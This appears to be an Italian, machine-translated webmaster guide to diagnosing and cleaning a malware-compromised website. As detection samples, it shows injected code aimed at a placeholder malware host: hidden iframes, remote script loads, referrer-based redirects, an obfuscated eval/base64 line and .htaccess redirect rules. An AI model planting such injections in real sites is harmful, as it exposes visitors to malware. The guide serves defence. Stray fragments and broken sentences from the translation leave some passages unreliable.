Compromissione con malware

Il malware è un software o un'applicazione per dispositivi mobili progettati appositamente per danneggiare un computer, dispositivo mobile, software in esecuzione o gli utenti. Per ulteriori informazioni su cosa sia il malware, consulta Malware e software indesiderato.

Se il tuo sito contiene malware, gli utenti in genere vedono l'avviso "Questo sito potrebbe danneggiare il tuo computer" visualizzato nei risultati di ricerca o su una pagina interstitial mostrata dal browser quando l'utente tenta di visitare sito, in questo modo:

Pagina interstitial rappresentativa relativa al malware
Risultati di ricerca con un avviso di malware.
di Gemini Advanced.

Dovrai avere quanto segue:

  • Accesso come amministratore della shell o del terminale ai server del tuo sito: web, database, e file.
  • Conoscenza dei comandi di shell o del terminale.
  • Possibilità di eseguire query SQL sul database.

Preparazione

  • Registrati a Search Console e verifica la proprietà del tuo sito compromesso come descritto qui. Search Console fornisce un esempio di pagine interessate, per consentire di trovare e risolvere i problemi di pirateria informatica con malware è molto più facile. Inoltre, riceverai un avviso Quando il tuo sito risulta essere interessato da molti tipi di malware o altri attacchi.
  • Visualizza la pagina di diagnostica di Google Navigazione sicura per visualizzare informazioni pubbliche sul potenziale danno per gli utenti. Puoi verificare lo stato nella scheda della tua pagina o del tuo sito a un URL simile a questo: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Ad esempio: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> può essere l'URL di una pagina specifica (http://example.com/badpage) oppure l'intero sito (example.com).

  • Evita di utilizzare un browser per visualizzare le pagine del tuo sito. Perché il malware spesso si diffonde sfruttando le vulnerabilità del browser, aprendo una pagina di in un browser potrebbe danneggiare il computer. A meno che non vengano fornite istruzioni per la diagnostica ad esempio per accedere alla pagina direttamente nel browser, usa cURL o Wget per eseguire richieste HTTP (ad esempio, per recuperare una pagina).

    Questi strumenti disponibili senza costi sono utili per diagnosticare i reindirizzamenti. la flessibilità di includere informazioni sul referrer o sullo user agent. L'inclusione di un un referrer o uno user-agent specifico è utile nell'imitare gli hacker, perché gli hacker potrebbero pubblicare contenuti dannosi user agent o referrer per scegliere come target più "persone reali" ed evitare il rilevamento da parte dei proprietari di siti e degli scanner di malware.

`curl -v --referer "http://www.google.com" <your-url>`

Di seguito un esempio che specifica sia uno user agent che un referrer:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Ti consigliamo di recuperare una pagina con e senza --referer "https://www.google.com", perché alcuni malware vengono attivati quando gli utenti provengono dai risultati della Ricerca Google.

  • Crea un documento in cui registrare le informazioni ricavate con questo passaggio. Il documento e includere (almeno) il nome e la posizione di ogni file danneggiato. e note su come è stato infettato, e serviranno come base per Ripulisci e gestisci il sito.

  • Guarda il video precedente in questa pagina per scoprire come funziona il malware e come durante l'indagine sul malware.

Diagnosi

Determina quale malware è interessato dal tuo sito:

  1. Apri il report Problemi di sicurezza per il tuo sito in Search Console. Espandi la descrizione dell'avviso di malware per visualizzare un elenco di esempi di pagine interessate. Tieni presente che questo elenco non è esaustivo. potresti non visualizzare pagine di esempio tutti i tipi di malware sul tuo sito.
  2. Verifica che nelle tue pagine di esempio siano presenti i seguenti tipi di malware.
di Gemini Advanced.

Malware per la configurazione del server (reindirizzamenti indesiderati)

Un hacker ha compromesso il tuo sito e reindirizza i visitatori dal tuo sito al proprio sito di attacco malware, probabilmente modificando il di configurazione dei deployment. I file di configurazione del server di solito consentono al sito di specificare i reindirizzamenti URL per pagine o directory specifiche su un sito web. Ad esempio, sui server Apache, si tratta del file .htaccess e di httpd.conf.

Diagnosi

Visita alcuni degli URL di esempio elencati nel rapporto Problemi di sicurezza. Una risposta da una pagina infettata dalla "configurazione del server" può includere il le seguenti intestazioni:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Determinare i file interessati

Accedi al server tramite accesso shell o terminale (il sito può essere offline se lo desideri) ed esamina i file di configurazione del server pertinenti. Potrebbero esserci altri di un file di configurazione del server compromesso sul tuo sito. Cerca questi file per istruzioni indesiderate, come i reindirizzamenti a siti sconosciuti. Ad esempio, nel .htaccess, potresti vedere un reindirizzamento simile al seguente:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL injection

Un hacker ha compromesso il database del tuo sito. Ad esempio, l'hacker potrebbe hanno inserito in modo programmatico codice dannoso in ogni record di un database in modo che quando il server carica una pagina che richiede informazioni dalla database, il codice dannoso è ora incorporato nel contenuto della pagina e può danni ai visitatori del sito.

Diagnosi

  1. Esegui alcune query sugli URL interessati nella riga di comando ed esamina il risposta per parole di attacco SQL come "iframe" o "eval".
  2. Accedi al server del tuo database o visualizzalo con uno strumento come phpMyAdmin. Se hai utilizzato Wget o cURL, prova a correlare il danno trovato nella fonte della pagina tramite Wget o cURL con le effettive voci del database. Ad esempio, se hai notato che le tue pagine includono un iframe pericoloso, puoi eseguire una di ricerca del codice iframe. Ad esempio:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. Potresti anche voler controllare i file di log e di errore del database sul server per ad attività insolite, ad esempio comandi SQL imprevisti che sembrano insoliti per da parte di utenti abituali o errori.

Risolvere il problema

Aggiorna ogni record di database infetto o ripristina l'ultimo database noto backup.

Iniezione di codice

Le pagine del tuo sito sono state modificate per includere codice dannoso, ad esempio un iframe a un sito di attacco malware.

Diagnosi

Visita alcuni degli URL di esempio mostrati nel report Problemi di sicurezza con cURL o wGet ed esamina il codice sospetto. Il codice inserito può assumere molti tipi e può difficile da trovare. Potrebbe essere utile cercare parole come "iframe" per trovare codice iframe. Altre parole chiave utili sono "script", "eval" e "unescape". Per ad esempio, per cercare "iframe" in tutti i file sui sistemi basati su Unix:

$grep -irn "iframe" ./ | less</pre>

Di seguito sono riportati alcuni pattern di malware comuni da cercare.

Un iframe che carica un sito dannoso:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript o un altro linguaggio di scripting che chiama ed esegue script da un sito pericoloso:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Scripting che reindirizza il browser a un sito pericoloso:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Codice dannoso offuscato per evitarne il rilevamento:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

File di oggetti condivisi progettati per scrivere casualmente codice dannoso in altri benigni script:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Modelli di errore dannosi

Il modello utilizzato per i messaggi di errore, ad esempio 404 File non trovato, è configurato per distribuire malware. In questo modo, i malintenzionati possono lanciare attacchi contro gli URL che non esistono nemmeno sul tuo sito.

Diagnosi

Richiedi una pagina sul tuo sito che non esiste o che genera un altro tipo di ed esaminare la risposta per vedere se proviene da un altro sito o altrimenti contengono malware.

Risolvere il problema

Accedi al tuo server web e cerca gli errori nei file di configurazione del server direttive di pagina. Ad esempio, il modello di errore per i server web Apache dichiarata nel file .htaccess. Ecco un esempio di voce di file .htaccess che recupera le pagine di errore 404 da un sito dannoso:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Quando è tutto pronto per pulire il sito, sostituisci i file(.htaccess) con una copia di backup nota o elimina le istruzioni ErrorDocument indesiderate sul file esistenti: .htaccess. Assicurati di pulire anche i file di errore effettivi se disponibili sul tuo sito. Infine, riavvia il server web per assicurarti le modifiche abbiano effetto.

Caricamento delle risorse da un sito compromesso o dannoso {compromised-resources}

Il tuo sito utilizza contenuti o risorse di un sito web noto per contenere dannosi. Può trattarsi di file JavaScript, immagini o altri file. Per questo motivo, il tuo sito verrà segnalato per malware caricato dall'altro sito. sito.

Diagnosi

Visita alcuni degli URL di esempio elencati nel rapporto Problemi di sicurezza.

Risolvere il problema

  1. Verifica il problema visitando alcuni degli URL di esempio elencati nel Report Problemi di sicurezza in Search Console. Dovresti vedere un avviso del browser.
  2. L'avviso del browser indicherà il dominio dei contenuti discutibili. Rimuovi tutti i riferimenti al sito segnalato elencati nell'avviso del browser. Se i contenuti di un sito segnalato sono stati inclusi a tua insaputa, i un problema è più grave. Molto probabilmente il tuo sito è stato compromesso. dovrebbe continuare a esaminare il sito alla ricerca di altri compromissioni e vulnerabilità.
  3. Se hai incluso intenzionalmente contenuti di un sito legittimo che è diventato segnalato e vuoi reintegrare i contenuti una volta che il sito segnalato è ripulito, puoi monitorare lo stato del sito segnalato utilizzando Pagina di diagnostica di Google Navigazione sicura per il sito (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. I proprietari di siti legittimi di solito li sistemano rapidamente.

Ulteriori indagini

Dopodiché verifica la presenza di eventuali altri file dannosi o modifiche nel tuo sistema. La l'hacker potrebbe aver modificato pagine o record di database esistenti, nuove pagine contenenti spam, funzioni scritte che mostrano spam in pagine pulite o "porte posteriori" che consentono all'hacker di rientrare nel tuo sito o di reinserire codice dannoso che hai rimosso.

Se il tuo sito è online, valuta la possibilità di metterlo offline per questa indagine.

Se disponi di una copia di backup valida del tuo sito, determina quali file sono stati creati o modificati dopo il backup ed esaminarli. Su base di Unix sistemi, puoi utilizzare un comando come il seguente per trovare nuovi file:

diff -qr <current-directory> <backup-directory>

Ad esempio:

diff -qr www/ backups/full-backup-20120124/

inoltre:

md5sum <current-page> <backup-page>

Ad esempio:

md5sum www/page.html backups/full-backup-20120124/page.html

Controlla i log del server, degli accessi e degli errori per verificare la presenza di eventuali attività sospette come tentativi di accesso non riusciti, cronologia dei comandi (soprattutto come root) e creazione account utente sconosciuti. Tieni presente che l'hacker potrebbe aver alterato questi log per i propri scopi. Nel video sono mostrati alcuni esempi per Identifica la vulnerabilità.

Controlla i reindirizzamenti nei file di configurazione. I tuoi file di configurazione sono generalmente denominato .htaccess e httpd.conf. Gli hacker creano spesso delle condizionali reindirizzamenti basati sullo user agent, sull'ora del giorno o sul referrer. Per di aggiornamento dei file di configurazione, potrebbe essere necessario riavviare il server per le modifiche abbiano effetto.

Verifica la presenza di autorizzazioni per cartelle e file eccessivamente permissive. Gli hacker manomettono i autorizzazioni perché se le autorizzazioni permissive non vengono rilevate dal proprietario del sito, l'hacker avrà la possibilità di rientrare nel sito. File di dimensioni superiori a 644 (rw-r--r--) e cartelle con dimensioni superiori a 755 (rwxr-xr-x) possono causare problemi di sicurezza che le applicazioni presentino problemi di prestazioni. Assicurati che le autorizzazioni più ampie siano davvero necessarie. Attivato sistemi basati su Unix, prova a:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

e:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Se disponi di un database, esamina record per record utilizzando uno strumento come phpMyAdmin.